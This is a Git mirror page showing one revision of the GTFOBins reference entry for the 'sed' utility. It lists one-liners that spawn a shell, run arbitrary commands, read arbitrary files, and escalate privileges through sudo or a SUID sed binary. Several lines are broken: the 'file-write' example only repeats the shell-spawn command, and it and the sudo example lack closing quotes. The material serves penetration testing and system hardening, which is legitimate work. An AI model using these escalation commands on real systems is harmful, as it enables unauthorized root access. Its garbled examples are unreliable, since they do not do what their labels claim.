This website requires JavaScript.
Explore
Help
Sign In
public-mirrors
/
GTFOBins.github.io
Watch
1
Star
0
Fork
0
You've already forked GTFOBins.github.io
mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced
2025-11-04 18:58:33 +01:00
Code
Issues
Projects
Releases
Wiki
Activity
Files
d3ef67aa3a7755695fee0fab2b7b8d3a998524bb
GTFOBins.github.io
/
_gtfobins
/
sed.md
Emilio Pinna
dd337b5ddf
Adopt new function names
2018-10-05 18:55:38 +01:00
607 B
Raw
Blame
History
functions
functions
shell
command
file-write
file-read
suid
sudo
description
code
GNU version only. Also, this requires `bash`.
sed -n '1e exec sh 1>&0' /etc/hosts
description
code
GNU version only.
sed -n "1e id" /etc/hosts
code
LFILE=file_to_write sed -n '1e exec sh 1>&0 /etc/hosts
code
LFILE=file_to_read sed '' "$LFILE"
code
LFILE=file_to_read ./sed -e '' "$LFILE"
description
code
GNU version only. Also, this requires `bash`.
sudo sed -n '1e exec sh 1>&0 /etc/hosts
Reference in New Issue
View Git Blame
Copy Permalink